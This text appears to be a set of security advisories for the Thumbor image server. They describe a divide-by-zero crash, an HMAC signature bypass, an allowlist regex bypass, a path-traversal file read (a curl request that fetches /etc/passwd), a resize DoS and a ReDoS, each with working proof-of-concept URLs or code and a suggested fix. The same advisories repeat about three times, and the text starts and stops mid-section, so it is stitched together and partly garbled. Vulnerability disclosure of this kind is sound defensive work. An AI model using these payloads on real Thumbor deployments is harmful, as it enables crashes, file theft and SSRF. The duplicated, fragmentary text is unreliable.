    PositiveNumber = {"regex": r"[\d]+", "parse": int}  # matches "0"
    PositiveNonZeroNumber = {"regex": r"[\d]*[1-9][\d]*", "parse": int}

2. C extension divides/modulos by columns_count without a zero check (thumbor/ext/filters/_convolution.c):

kernel_size = PyTuple_Size(kernel_tuple);
if ((kernel_size % columns_count != 0) ||
    (kernel_size % 2 == 0) ||
    ((kernel_size / columns_count) % 2) == 0) {
    // TODO: error, not a valid kernel
    return NULL;
}

PoC

Test environment

• Linux x86_64

Preconditions

• The convolution filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service).

Example request (signed URL)

http://<host>:<port>/<url-sign>/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Example request (/unsafe/)

http://<host>:<port>/unsafe/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Impact

• Remote Denial of Service via process crash (SIGFPE) on x86_64 (confirmed on Linux x86_64 and macOS Intel x86_64).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL.(i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service)

Suggested remediation

• In the C extension (thumbor/ext/filters/_convolution.c):
  • Reject columns_count <= 0 before any % or /.
• In the Python filter (thumbor/filters/convolution.py):
  • Require columns to be non-zero (e.g., use BaseFilter.PositiveNonZeroNumber).

HMAC validation bypass via multiple .replace() calls when removing URL signature

Summary

Thumbor’s HMAC validation can be bypassed due to the use of Python’s .replace() when removing the signature from the URL before validation. Since .replace() removes all occurrences of the substring, an attacker can insert the same signature multiple times in the URL and manipulate the final URL used for validation.

This allows crafting URLs where the validated string differs from the actual requested resource, enabling loading images from unintended domains or paths.

Details

Thumbor signs URLs using HMAC-SHA1 to prevent abuse such as loading arbitrary external images or invoking filters without authorization.

During request validation, Thumbor removes the signature from the request URL before recalculating the HMAC. The relevant code:

url_signature = self.context.request.hash
if url_signature:
    signer = self.context.modules.url_signer(
        self.context.server.security_key
    )

    try:
        quoted_hash = quote(self.context.request.hash)
    except KeyError:
        self._error(400, f"Invalid hash: {self.context.request.hash}")
        return

    url_to_validate = url.replace(
        f"/{self.context.request.hash}/", ""
    ).replace(f"/{quoted_hash}/", "")

    valid = signer.validate(
        unquote(url_signature).encode(), url_to_validate
    )

The issue is that .replace() removes every occurrence of the substring in the URL, not just the first one.

Because the signature itself appears in the URL, an attacker can inject additional copies of the signature elsewhere in the path. When Thumbor performs .replace(), these extra occurrences are also removed, resulting in a different url_to_validate than the original request.

Example

Valid request:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/v1/.../image.jpg

By injecting the same hash inside the URL:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.co/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/m/v1/.../image.jpg

After .replace() removes all occurrences of the hash, the URL used for validation differs from the effective request path. This allows manipulation of the upstream host or path.

Further manipulation is possible due to the second .replace() for the URL-encoded hash (%3D), enabling more precise path manipulation.

Example:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/ddoyYVYUbDf6Po/ddoyYVYUbDf6Po_dzOrBhCDrXLc%3D/ddoyYVYUbDf6Po/v1/...

Impact

This behavior may allow attackers to:

• Bypass HMAC URL validation
• Load images from arbitrary domains
• Abuse Thumbor deployments as an open proxy / image fetcher
• Circumvent domain restrictions intended by the signed URL mechanism

Root Cause

Use of .replace() without limiting the number of replacements when removing the signature from the URL.

Since the signature is part of the request path, using a global replacement allows attackers to place additional occurrences of the same substring to influence the validated string.

Suggested Fix

Remove only the first occurrence of the signature or explicitly parse the URL components instead of performing global string replacement.

Example:

url.replace(f"/{self.context.request.hash}/", "", 1)

Alternatively, reconstruct the unsigned URL deterministically from the parsed request components.

Summary

The ALLOWED_SOURCES configuration is meant to restrict which hosts Thumbor's HTTP loader may fetch images from. Plain-string entries in that list (the overwhelming majority of real-world and documented configurations) are passed directly to re.match() without escaping. Because . is a regex wildcard, every dot in a domain name becomes a bypass vector: s.glbimg.com silently matches sXglbimgYcom, sAglbimg.com, and any other hostname that differs only at a dot position. This undermines the primary SSRF defence that ALLOWED_SOURCES is intended to provide.

Affected component

thumbor/loaders/http_loader.py — validate()

Proof of concept

import re
from thumbor.config import Config
from thumbor.context import Context
from thumbor.loaders import http_loader as loader

config = Config()
config.ALLOWED_SOURCES = ["s.glbimg.com"]   # typical user config
ctx = Context(None, config, None)

# These should be blocked — both return True due to the unescaped dot
print(loader.validate(ctx, "http://sXglbimgYcom/secret.jpg"))  # True ← bypass
print(loader.validate(ctx, "http://sAglbimg.com/secret.jpg"))  # True ← bypass

# Legitimate origin — correctly allowed
print(loader.validate(ctx, "http://s.glbimg.com/logo.jpg"))    # True ← correct

Root cause

thumbor/loaders/http_loader.py (before fix):

for pattern in context.config.ALLOWED_SOURCES:
    if isinstance(pattern, Pattern):
        match = url
    else:
        pattern = f"^{pattern}$"   # <-- dots not escaped, act as regex wildcard
        match = res.hostname

    if re.match(pattern, match):
        return True

Impact

An attacker who can influence the image source URL passed to Thumbor can fetch images from arbitrary hosts, bypassing the ALLOWED_SOURCES allowlist.

Preconditions:

• ALLOWED_SOURCES contains at least one plain-string entry (the common case; all official documentation examples use plain strings).
• The attacker can supply or influence the image URL — true whenever ALLOW_UNSAFE_URL = True (the default), or when the application forwards user input to a signed URL endpoint.

Fix

Apply re.escape() to plain-string patterns before compiling them, so every character is matched literally:

else:
    pattern = f"^{re.escape(pattern)}$"   # dots and other metacharacters are now literal
    match = res.hostname

This is a one-call addition with no breaking change for correctly written configurations. Users who need real regular-expression behaviour should supply a compiled pattern (re.compile(r"s\.glbimg\.com")), which is already handled by the existing isinstance(pattern, Pattern) branch and is unaffected by this change.

The ALLOWED_SOURCES docstring in config.py was also updated to document the two-mode behaviour explicitly.

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

1. %252e%252e arrives at Tornado, decoded to %2e%2e
2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
5. startswith(ROOT) = True (passes check)
6. exists() returns False (literal %2e%2e dir doesn't exist)
7. unquote() converts %2e%2e to ..
8. OS resolves .. → reads files outside ROOT

Prerequisites

• LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
• ALLOW_UNSAFE_URL = True (this is the default)
• watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Summary

Thumbor's filters:proportion(<value>) filter does not enforce an upper bound on <value> and runs in the post-transform phase. An attacker can trigger extremely large resizes (CPU/memory exhaustion) and cause denial of service.

Details

• Filter implementation: thumbor/filters/proportion.py
  • value is parsed as a float (BaseFilter.DecimalNumber) with no maximum.
  • The filter computes new_width = source_width * value and new_height = source_height * value and then calls engine.resize(new_width, new_height).
• Execution phase: proportion runs in the default POST_TRANSFORM phase (after the main transform pipeline). This means it can effectively bypass request-level size clamping that happens earlier in the request lifecycle (e.g., MAX_WIDTH/MAX_HEIGHT applied to req.width/req.height).

Documentation states the percentage argument should be 0.0 to 1.0 (docs/proportion.rst), but the implementation does not enforce this constraint.

PoC

Preconditions

• The proportion filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True, common default in some deployments), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or otherwise can obtain signed URLs issued by a trusted signing service).

Example request 1 (signed URL)

The following request was used to reproduce the issue and causes severe resource exhaustion:

http://<host>:<port>/<url-sign>/100x100/filters:proportion(10000)/example.jpg

Example request 2 (/unsafe/)

If /unsafe/ is enabled:

http://<host>:<port>/unsafe/100x100/filters:proportion(10000)/example.jpg

Impact

• Remote Denial of Service via CPU and/or memory exhaustion (and potentially process crash / OOM kill).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL (i.e., the attacker can legitimately request signed URLs, or has access to signed URLs issued for other users/partners). If signed URLs are not exposed to untrusted parties, exploitability is reduced but the risk still applies to any party who can generate/use signed URLs.

Suggested remediation

• Enforce a strict bound on the proportion parameter (e.g., 0.0 < value <= 1.0 as documented), or define a safe maximum based on intended semantics.

Summary

The regular expression used to parse the convolution filter exhibits exponential-time backtracking for certain inputs, enabling a Regular Expression Denial of Service (ReDoS).

Details

The RegExp for convolution is defined as convolution\((?:\s*((?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*))\s*)(?:,\s*([\d]+)\s*)(?:,\s*([Tt]rue|[Ff]alse|1|0)\s*)?\). Within this expression a dangerous subpattern effectively behaves like (\d+)*,\d+.

PoC

A filter string containing many repeated values will exhaust re.match:

• convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)
• http://localhost:8888/unsafe/0x0/smart/filters:convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)/x.png

The evaluation occurs on https://github.com/thumbor/thumbor/blob/master/thumbor/filters/init.py#L189.

Impact

A specially crafted URL will lead to denial of service, as new images won't be processed until re.match returns.

Summary

Thumbor's filters:convolution(<matrix>, <columns>, <should_normalize>) filter passes the user-controlled <columns> value to a C extension (thumbor/ext/filters/_convolution.c) where it is used as a divisor (for % and /) without validating columns > 0. When columns=0, the C code triggers undefined behavior; on x86_64 this reliably results in a fatal divide-by-zero trap (SIGFPE) and crashes the Thumbor process (confirmed on Linux x86_64 and macOS Intel x86_64), causing a remote denial of service.

Details

Root cause

The Python filter accepts columns=0, and the native C extension uses columns_count as a divisor without validating it.

1. Python filter entry point allows columns=0 (thumbor/filters/convolution.py):

@filter_method(
    r"(?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*)",
    BaseFilter.PositiveNumber,  # accepts 0
    BaseFilter.Boolean,
)
async def convolution(self, matrix, columns, should_normalize=True):
    ...
    imgdata = _convolution.apply(..., matrix, columns, should_normalize)

BaseFilter.PositiveNumber matches "0" (thumbor/filters/__init__.py):

class BaseFilter:
    PositiveNumber = {"regex": r"[\d]+", "parse": int}  # matches "0"
    PositiveNonZeroNumber = {"regex": r"[\d]*[1-9][\d]*", "parse": int}

2. C extension divides/modulos by columns_count without a zero check (thumbor/ext/filters/_convolution.c):

kernel_size = PyTuple_Size(kernel_tuple);
if ((kernel_size % columns_count != 0) ||
    (kernel_size % 2 == 0) ||
    ((kernel_size / columns_count) % 2) == 0) {
    // TODO: error, not a valid kernel
    return NULL;
}

PoC

Test environment

• Linux x86_64

Preconditions

• The convolution filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service).

Example request (signed URL)

http://<host>:<port>/<url-sign>/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Example request (/unsafe/)

http://<host>:<port>/unsafe/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Impact

• Remote Denial of Service via process crash (SIGFPE) on x86_64 (confirmed on Linux x86_64 and macOS Intel x86_64).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL.(i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service)

Suggested remediation

• In the C extension (thumbor/ext/filters/_convolution.c):
  • Reject columns_count <= 0 before any % or /.
• In the Python filter (thumbor/filters/convolution.py):
  • Require columns to be non-zero (e.g., use BaseFilter.PositiveNonZeroNumber).

HMAC validation bypass via multiple .replace() calls when removing URL signature

Summary

Thumbor’s HMAC validation can be bypassed due to the use of Python’s .replace() when removing the signature from the URL before validation. Since .replace() removes all occurrences of the substring, an attacker can insert the same signature multiple times in the URL and manipulate the final URL used for validation.

This allows crafting URLs where the validated string differs from the actual requested resource, enabling loading images from unintended domains or paths.

Details

Thumbor signs URLs using HMAC-SHA1 to prevent abuse such as loading arbitrary external images or invoking filters without authorization.

During request validation, Thumbor removes the signature from the request URL before recalculating the HMAC. The relevant code:

url_signature = self.context.request.hash
if url_signature:
    signer = self.context.modules.url_signer(
        self.context.server.security_key
    )

    try:
        quoted_hash = quote(self.context.request.hash)
    except KeyError:
        self._error(400, f"Invalid hash: {self.context.request.hash}")
        return

    url_to_validate = url.replace(
        f"/{self.context.request.hash}/", ""
    ).replace(f"/{quoted_hash}/", "")

    valid = signer.validate(
        unquote(url_signature).encode(), url_to_validate
    )

The issue is that .replace() removes every occurrence of the substring in the URL, not just the first one.

Because the signature itself appears in the URL, an attacker can inject additional copies of the signature elsewhere in the path. When Thumbor performs .replace(), these extra occurrences are also removed, resulting in a different url_to_validate than the original request.

Example

Valid request:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/v1/.../image.jpg

By injecting the same hash inside the URL:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.co/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/m/v1/.../image.jpg

After .replace() removes all occurrences of the hash, the URL used for validation differs from the effective request path. This allows manipulation of the upstream host or path.

Further manipulation is possible due to the second .replace() for the URL-encoded hash (%3D), enabling more precise path manipulation.

Example:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/ddoyYVYUbDf6Po/ddoyYVYUbDf6Po_dzOrBhCDrXLc%3D/ddoyYVYUbDf6Po/v1/...

Impact

This behavior may allow attackers to:

• Bypass HMAC URL validation
• Load images from arbitrary domains
• Abuse Thumbor deployments as an open proxy / image fetcher
• Circumvent domain restrictions intended by the signed URL mechanism

Root Cause

Use of .replace() without limiting the number of replacements when removing the signature from the URL.

Since the signature is part of the request path, using a global replacement allows attackers to place additional occurrences of the same substring to influence the validated string.

Suggested Fix

Remove only the first occurrence of the signature or explicitly parse the URL components instead of performing global string replacement.

Example:

url.replace(f"/{self.context.request.hash}/", "", 1)

Alternatively, reconstruct the unsigned URL deterministically from the parsed request components.

Summary

The ALLOWED_SOURCES configuration is meant to restrict which hosts Thumbor's HTTP loader may fetch images from. Plain-string entries in that list (the overwhelming majority of real-world and documented configurations) are passed directly to re.match() without escaping. Because . is a regex wildcard, every dot in a domain name becomes a bypass vector: s.glbimg.com silently matches sXglbimgYcom, sAglbimg.com, and any other hostname that differs only at a dot position. This undermines the primary SSRF defence that ALLOWED_SOURCES is intended to provide.

Affected component

thumbor/loaders/http_loader.py — validate()

Proof of concept

import re
from thumbor.config import Config
from thumbor.context import Context
from thumbor.loaders import http_loader as loader

config = Config()
config.ALLOWED_SOURCES = ["s.glbimg.com"]   # typical user config
ctx = Context(None, config, None)

# These should be blocked — both return True due to the unescaped dot
print(loader.validate(ctx, "http://sXglbimgYcom/secret.jpg"))  # True ← bypass
print(loader.validate(ctx, "http://sAglbimg.com/secret.jpg"))  # True ← bypass

# Legitimate origin — correctly allowed
print(loader.validate(ctx, "http://s.glbimg.com/logo.jpg"))    # True ← correct

Root cause

thumbor/loaders/http_loader.py (before fix):

for pattern in context.config.ALLOWED_SOURCES:
    if isinstance(pattern, Pattern):
        match = url
    else:
        pattern = f"^{pattern}$"   # <-- dots not escaped, act as regex wildcard
        match = res.hostname

    if re.match(pattern, match):
        return True

Impact

An attacker who can influence the image source URL passed to Thumbor can fetch images from arbitrary hosts, bypassing the ALLOWED_SOURCES allowlist.

Preconditions:

• ALLOWED_SOURCES contains at least one plain-string entry (the common case; all official documentation examples use plain strings).
• The attacker can supply or influence the image URL — true whenever ALLOW_UNSAFE_URL = True (the default), or when the application forwards user input to a signed URL endpoint.

Fix

Apply re.escape() to plain-string patterns before compiling them, so every character is matched literally:

else:
    pattern = f"^{re.escape(pattern)}$"   # dots and other metacharacters are now literal
    match = res.hostname

This is a one-call addition with no breaking change for correctly written configurations. Users who need real regular-expression behaviour should supply a compiled pattern (re.compile(r"s\.glbimg\.com")), which is already handled by the existing isinstance(pattern, Pattern) branch and is unaffected by this change.

The ALLOWED_SOURCES docstring in config.py was also updated to document the two-mode behaviour explicitly.

The file_loader performs unquote() on the file path AFTER the abspath() + startswith() security check. An attacker can use percent-encoded path traversal sequences (%2e%2e for ..) that pass the security check as literal directory names, but are then decoded to actual .. traversal sequences.

Affected code

thumbor/loaders/file_loader.py lines 28-49:

async def load(context, path):
    file_path = join(
        context.config.FILE_LOADER_ROOT_PATH.rstrip("/"), path.lstrip("/")
    )
    file_path = abspath(file_path)
    inside_root_path = file_path.startswith(         # Security check
        abspath(context.config.FILE_LOADER_ROOT_PATH)
    )
    result = LoaderResult()
    if not inside_root_path:
        result.error = LoaderResult.ERROR_NOT_FOUND
        result.successful = False
        return result

    if not exists(file_path):
        file_path = unquote(file_path)               # unquote AFTER check!

    if exists(file_path) and isfile(file_path):
        with open(file_path, "rb") as source_file:
            ...

The watermark and frame filters pass their URL parameters directly to the loader without re-encoding (unlike the main image URL flow which applies quote() in imaging.py line 37).

PoC

# Read /etc/passwd via watermark filter path traversal
# %252e is double-encoded: Tornado decodes to %2e, filter passes to file_loader,
# file_loader unquote decodes %2e to .
curl 'http://thumbor-host:8888/unsafe/filters:watermark(%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd,0,0,100)/some-valid-image.jpg'

Flow:

1. %252e%252e arrives at Tornado, decoded to %2e%2e
2. Watermark filter passes %2e%2e/%2e%2e/.../etc/passwd to file_loader
3. join(ROOT, '%2e%2e/...') = ROOT/%2e%2e/...
4. abspath() sees %2e%2e as literal dir name (no dots to resolve)
5. startswith(ROOT) = True (passes check)
6. exists() returns False (literal %2e%2e dir doesn't exist)
7. unquote() converts %2e%2e to ..
8. OS resolves .. → reads files outside ROOT

Prerequisites

• LOADER = thumbor.loaders.file_loader (or file_loader_http_fallback)
• ALLOW_UNSAFE_URL = True (this is the default)
• watermark/frame filters are enabled by default (in BUILTIN_FILTERS)

Impact

Arbitrary file read on the thumbor server. When the file is a valid image format, its content is returned in the response overlaid as a watermark. Can be used to read configuration files, secrets, private keys, etc.

Summary

Thumbor's filters:proportion(<value>) filter does not enforce an upper bound on <value> and runs in the post-transform phase. An attacker can trigger extremely large resizes (CPU/memory exhaustion) and cause denial of service.

Details

• Filter implementation: thumbor/filters/proportion.py
  • value is parsed as a float (BaseFilter.DecimalNumber) with no maximum.
  • The filter computes new_width = source_width * value and new_height = source_height * value and then calls engine.resize(new_width, new_height).
• Execution phase: proportion runs in the default POST_TRANSFORM phase (after the main transform pipeline). This means it can effectively bypass request-level size clamping that happens earlier in the request lifecycle (e.g., MAX_WIDTH/MAX_HEIGHT applied to req.width/req.height).

Documentation states the percentage argument should be 0.0 to 1.0 (docs/proportion.rst), but the implementation does not enforce this constraint.

PoC

Preconditions

• The proportion filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True, common default in some deployments), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or otherwise can obtain signed URLs issued by a trusted signing service).

Example request 1 (signed URL)

The following request was used to reproduce the issue and causes severe resource exhaustion:

http://<host>:<port>/<url-sign>/100x100/filters:proportion(10000)/example.jpg

Example request 2 (/unsafe/)

If /unsafe/ is enabled:

http://<host>:<port>/unsafe/100x100/filters:proportion(10000)/example.jpg

Impact

• Remote Denial of Service via CPU and/or memory exhaustion (and potentially process crash / OOM kill).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL (i.e., the attacker can legitimately request signed URLs, or has access to signed URLs issued for other users/partners). If signed URLs are not exposed to untrusted parties, exploitability is reduced but the risk still applies to any party who can generate/use signed URLs.

Suggested remediation

• Enforce a strict bound on the proportion parameter (e.g., 0.0 < value <= 1.0 as documented), or define a safe maximum based on intended semantics.

Summary

The regular expression used to parse the convolution filter exhibits exponential-time backtracking for certain inputs, enabling a Regular Expression Denial of Service (ReDoS).

Details

The RegExp for convolution is defined as convolution\((?:\s*((?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*))\s*)(?:,\s*([\d]+)\s*)(?:,\s*([Tt]rue|[Ff]alse|1|0)\s*)?\). Within this expression a dangerous subpattern effectively behaves like (\d+)*,\d+.

PoC

A filter string containing many repeated values will exhaust re.match:

• convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)
• http://localhost:8888/unsafe/0x0/smart/filters:convolution(-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11;-11)/x.png

The evaluation occurs on https://github.com/thumbor/thumbor/blob/master/thumbor/filters/init.py#L189.

Impact

A specially crafted URL will lead to denial of service, as new images won't be processed until re.match returns.

Summary

Thumbor's filters:convolution(<matrix>, <columns>, <should_normalize>) filter passes the user-controlled <columns> value to a C extension (thumbor/ext/filters/_convolution.c) where it is used as a divisor (for % and /) without validating columns > 0. When columns=0, the C code triggers undefined behavior; on x86_64 this reliably results in a fatal divide-by-zero trap (SIGFPE) and crashes the Thumbor process (confirmed on Linux x86_64 and macOS Intel x86_64), causing a remote denial of service.

Details

Root cause

The Python filter accepts columns=0, and the native C extension uses columns_count as a divisor without validating it.

1. Python filter entry point allows columns=0 (thumbor/filters/convolution.py):

@filter_method(
    r"(?:[-]?[\d]+\.?[\d]*[;])*(?:[-]?[\d]+\.?[\d]*)",
    BaseFilter.PositiveNumber,  # accepts 0
    BaseFilter.Boolean,
)
async def convolution(self, matrix, columns, should_normalize=True):
    ...
    imgdata = _convolution.apply(..., matrix, columns, should_normalize)

BaseFilter.PositiveNumber matches "0" (thumbor/filters/__init__.py):

class BaseFilter:
    PositiveNumber = {"regex": r"[\d]+", "parse": int}  # matches "0"
    PositiveNonZeroNumber = {"regex": r"[\d]*[1-9][\d]*", "parse": int}

2. C extension divides/modulos by columns_count without a zero check (thumbor/ext/filters/_convolution.c):

kernel_size = PyTuple_Size(kernel_tuple);
if ((kernel_size % columns_count != 0) ||
    (kernel_size % 2 == 0) ||
    ((kernel_size / columns_count) % 2) == 0) {
    // TODO: error, not a valid kernel
    return NULL;
}

PoC

Test environment

• Linux x86_64

Preconditions

• The convolution filter is enabled (it is enabled by default via BUILTIN_FILTERS).
• Either:
  • /unsafe/ URLs are allowed (ALLOW_UNSAFE_URL=True), OR
  • /unsafe/ is disabled, and the attacker has a valid signed URL (i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service).

Example request (signed URL)

http://<host>:<port>/<url-sign>/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Example request (/unsafe/)

http://<host>:<port>/unsafe/400x400/filters:convolution(1;2;1;2;4;2;1;2;1,0,true)/example.jpg

Impact

• Remote Denial of Service via process crash (SIGFPE) on x86_64 (confirmed on Linux x86_64 and macOS Intel x86_64).
• Exploitability depends on deployment:
  • If /unsafe/ is enabled: unauthenticated remote DoS.
  • If /unsafe/ is disabled: the attacker needs a valid signed URL.(i.e., the attacker is an authorized user/partner, or can obtain signed URLs from a trusted signing service)

Suggested remediation

• In the C extension (thumbor/ext/filters/_convolution.c):
  • Reject columns_count <= 0 before any % or /.
• In the Python filter (thumbor/filters/convolution.py):
  • Require columns to be non-zero (e.g., use BaseFilter.PositiveNonZeroNumber).

HMAC validation bypass via multiple .replace() calls when removing URL signature

Summary

Thumbor’s HMAC validation can be bypassed due to the use of Python’s .replace() when removing the signature from the URL before validation. Since .replace() removes all occurrences of the substring, an attacker can insert the same signature multiple times in the URL and manipulate the final URL used for validation.

This allows crafting URLs where the validated string differs from the actual requested resource, enabling loading images from unintended domains or paths.

Details

Thumbor signs URLs using HMAC-SHA1 to prevent abuse such as loading arbitrary external images or invoking filters without authorization.

During request validation, Thumbor removes the signature from the request URL before recalculating the HMAC. The relevant code:

url_signature = self.context.request.hash
if url_signature:
    signer = self.context.modules.url_signer(
        self.context.server.security_key
    )

    try:
        quoted_hash = quote(self.context.request.hash)
    except KeyError:
        self._error(400, f"Invalid hash: {self.context.request.hash}")
        return

    url_to_validate = url.replace(
        f"/{self.context.request.hash}/", ""
    ).replace(f"/{quoted_hash}/", "")

    valid = signer.validate(
        unquote(url_signature).encode(), url_to_validate
    )

The issue is that .replace() removes every occurrence of the substring in the URL, not just the first one.

Because the signature itself appears in the URL, an attacker can inject additional copies of the signature elsewhere in the path. When Thumbor performs .replace(), these extra occurrences are also removed, resulting in a different url_to_validate than the original request.

Example

Valid request:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/v1/.../image.jpg

By injecting the same hash inside the URL:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.co/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/m/v1/.../image.jpg

After .replace() removes all occurrences of the hash, the URL used for validation differs from the effective request path. This allows manipulation of the upstream host or path.

Further manipulation is possible due to the second .replace() for the URL-encoded hash (%3D), enabling more precise path manipulation.

Example:

/ddoyYVYUbDf6Po_dzOrBhCDrXLc=/300x200/s3.glbimg.com/ddoyYVYUbDf6Po/ddoyYVYUbDf6Po_dzOrBhCDrXLc%3D/ddoyYVYUbDf6Po/v1/...

Impact

This behavior may allow attackers to:

• Bypass HMAC URL validation
• Load images from arbitrary domains
• Abuse Thumbor deployments as an open proxy / image fetcher
• Circumvent domain restrictions intended by the signed URL mechanism

Root Cause

Use of .replace() without limiting the number of replacements when removing the signature from the URL.

Since the signature is part of the request path, using a global replacement allows attackers to place additional occurrences of the same substring to influence the validated string.

Suggested Fix

Remove only the first occurrence of the signature or explicitly parse the URL components instead of performing global string replacement.

Example:

url.replace(f"/{self.context.request.hash}/", "", 1)

Alternatively, reconstruct the unsigned URL deterministically from the parsed request components.

Summary

The ALLOWED_SOURCES configuration is meant to restrict which hosts Thumbor's HTTP loader may fetch images from. Plain-string entries in that list (the overwhelming majority of real-world and documented configurations) are passed directly to re.match() without escaping. Because . is a regex wildcard, every dot in a domain name becomes a bypass vector: s.glbimg.com silently matches sXglbimgYcom, sAglbimg.com, and any other hostname that differs only at a dot position. This undermines the primary SSRF defence that ALLOWED_SOURCES is intended to provide.

Affected component

thumbor/loaders/http_loader.py — validate()

Proof of concept

import re
from thumbor.config import Config
from thumbor.context import Context
from thumbor.loaders import http_loader as loader

config = Config()
config.ALLOWED_SOURCES = ["s.glbimg.com"]   # typical user config
ctx = Context(None, config, None)

# These should be blocked — both return True due to the unescaped dot
print(loader.validate(ctx, "http://sXglbimgYcom/secret.jpg"))  # True ← bypass
print(loader.validate(ctx, "http://sAglbimg.com/secret.jpg"))  # True ← bypass

# Legitimate origin — correctly allowed
print(loader.validate(ctx, "http://s.glbimg.com/logo.jpg"))    # True ← correct

Root cause

thumbor/loaders/http_loader.py (before fix):

for pattern in context.config.ALLOWED_SOURCES:
    if isinstance(pattern, Pattern):
        match = url
    else:
        pattern = f"^{pattern}$"   # <-- dots not escaped, act as regex wildcard
        match = res.hostname

    if re.match(pattern, match):
        return True

Impact

An attacker who can influence the image source URL passed to Thumbor can fetch images from arbitrary hosts, bypassing the ALLOWED_SOURCES allowlist.

Preconditions:

• ALLOWED_SOURCES contains at least one plain-string entry (the common case; all official documentation examples use plain strings).
• The attacker can supply or influence the image URL — true whenever ALLOW_UNSAFE_URL = True (the default), or when the application forwards user input to a signed URL endpoint.

Fix

Apply re.escape() to plain-string patterns before compiling them, so every character is matched literally:

else:
    pattern = f"^{re.escape(pattern)}$"   # dots and other metacharacters are now literal
